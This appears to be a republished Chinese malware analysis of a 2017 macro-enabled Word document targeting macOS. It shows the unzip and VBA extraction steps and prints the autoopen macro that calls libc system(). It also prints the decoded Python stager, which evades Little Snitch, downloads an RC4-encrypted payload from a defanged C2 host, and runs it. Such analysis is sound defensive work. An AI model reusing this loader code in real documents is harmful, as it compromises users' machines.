Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

宏木马现身MacOS平台 宏木马 宏木马解析 MacOS平台 网络安全

$
0
0

宏木马现身MacOS平台。随着勒索软件在2016年的爆发,大量的恶意软件选择在邮件中使用含有宏的word文档进行伪装攻击。当用户打开文档时,如果不慎点击了“启用宏”的选项,宏木马会第一时间执行各类恶意行为,比如对用户的文件进行加密,或者安装远控木马等。

进入2017年,基于文档型宏木马的攻击仍然处于高活跃状态,更值得关注的是,木马制作团队已经开始将攻击目标指向了MacOS系统。近期,国外媒体报道了一个在MacOS平台中传播的word文档型宏木马,哈勃分析系统第一时间进行了跟进分析。

1. 基本信息

本次捕获的样本是一个docm格式的文件,即带有宏的word文档文件。其在VirusTotal中的基本信息如下:

文件大小:32.9 KB

标题:U.S. Allies and Rivals Digest Trump’s Victory - Carnegie Endowment for International Peace.docm

首次提交时间:2017-01-16 18:48:58

从标题和首次提交时间来看,该样本试图借助美国总统就职的热点新闻事件进行传播扩散。

MacOS平台上文档型宏样本的分析方法,同windows平台上的分析方法类似,主要是静态分析和动态分析。静态分析包括解压文件、提取VBA代码、解密代码等项目,动态分析包括进程、网络等分析子项目。

2. 解压文件

word 2007之后版本的docx、docm文件本质上是一个zip文件,可以使用unzip命令进行解压。如下命令展现了文档解压之后的子文件的目录结构。其中word/vbaProject.bin就是文档中宏代码所在的文件。

root# file sample.docm
sample.docm: Microsoft Word 2007+
root# unzip -d sample ./sample.docm
Archive: ./sample.docm
inflating: sample/[Content_Types].xml
inflating: sample/_rels/.rels
inflating: sample/word/_rels/document.xml.rels
inflating: sample/word/document.xml
inflating: sample/word/theme/theme1.xml
inflating: sample/word/vbaProject.bin
inflating: sample/word/_rels/vbaProject.bin.rels
inflating: sample/word/vbaData.xml
inflating: sample/word/settings.xml
inflating: sample/word/stylesWithEffects.xml
inflating: sample/word/styles.xml
inflating: sample/docProps/core.xml
inflating: sample/word/fontTable.xml
inflating: sample/word/webSettings.xml
inflating: sample/docProps/app.xml
3. 提取VBA代码
VBA代码可以通过ClamAV自带的sigtool进行提取,命令如下:
root@remnux:~/macos# sigtool --vba ./word/vbaProject.bin
提取出的VBA代码,包括一些注释,经过进一步的分析,这里将关键性的自启动代码进行展示:
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Sub autoopen()
Fisher
End Sub
Public Declare Function system Lib "libc.dylib" (ByVal command As String) As Long
Public Sub Fisher()Dim result As Long
Dim cmd As String
cmd = "ZFhGcHJ2c2dNQlNJeVBmPSdhdGZNelpPcVZMYmNqJwppbXBvcnQgc3"
cmd = cmd + "NsOwppZiBoYXNhdHRyKHNzbCwgJ19jcmVhdGVfdW52ZXJpZm"
...
cmd = cmd + "0pKQpleGVjKCcnLmpvaW4ob3V0KSk="
result = system("echo ""import sys,base64;exec(base64.b64decode(\"" " & cmd & " \""));"" | python &")End Sub

4. 解密代码

从第二步提取出的VB代码来看,主要使用的函数有三个:

首先是autoopen,当文档被打开时会被自动调用。

其次Fisher函数会在autoopen时被调用,内容主要是将cmd变量拼接,然后使用base64进行解码,解码之后的代码会被传入python中执行,执行的过程使用了第三个函数system。

在常见的VBA开发中,调用系统命令使用的是内置的Shell函数。而此次木马使用的system函数,是从MacOS上的动态连接库文件libc.dylib文件中导出的函数,这是此木马针对MacOS平台的一个表现。如果在Windows平台下执行这段宏,会提示声明中的libc.dylib文件找不到,无法继续执行。

木马使用system函数执行系统命令,将一段经过base64解码之后的代码传给Python解释器进行执行。由于MacOS系统默认自带了Python解释器,执行此命令时不会遇到兼容性问题。解码后的Python代码如下所示:

import ssl;
...
import sys, urllib2;
import re, subprocess;
cmd = "ps -ef | grep Little\ Snitch | grep -v grep"
ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
out = ps.stdout.read()
ps.stdout.close()
if re.search("Little Snitch", out):
sys.exit()
o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener();UA='Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:45.0) Gecko/20100101 Firefox/45.0';o.addheaders=[('User-Agent',UA)];a=o.open('https://www[.]securitychecking[.]org:443/index.asp').read();key='fff96aed07cb7ea65e7f031bd714607d';S,j,out=range(256),0,[]
for i in range(256):
j=(j+S[i]+ord(key[i%len(key)]))%256
S[i],S[j]=S[j],S[i]
i=j=0
for char in a:
i=(i+1)%256
j=(j+S[i])%256
S[i],S[j]=S[j],S[i]
out.append(chr(ord(char)^S[(S[i]+S[j])%256]))
exec(''.join(out))

此python代码就是这份文档中包含的真正的恶意代码。主要有如下功能:

首先判断Little Snitch防火墙进程是否存在。

如果不存在,就使用HTTPS协议下载加密的payload。

然后对内存中的payload进行解密,使用了对称加密算法,主要使用了置换和异或操作,其密钥是:fff96aed07cb7ea65e7f031bd714607d。

最后使用python中的exec函数执行下载的payload,下载器的工作完成,开始真正的恶意流程。

Viewing all articles
Browse latest Browse all 12749

Trending Articles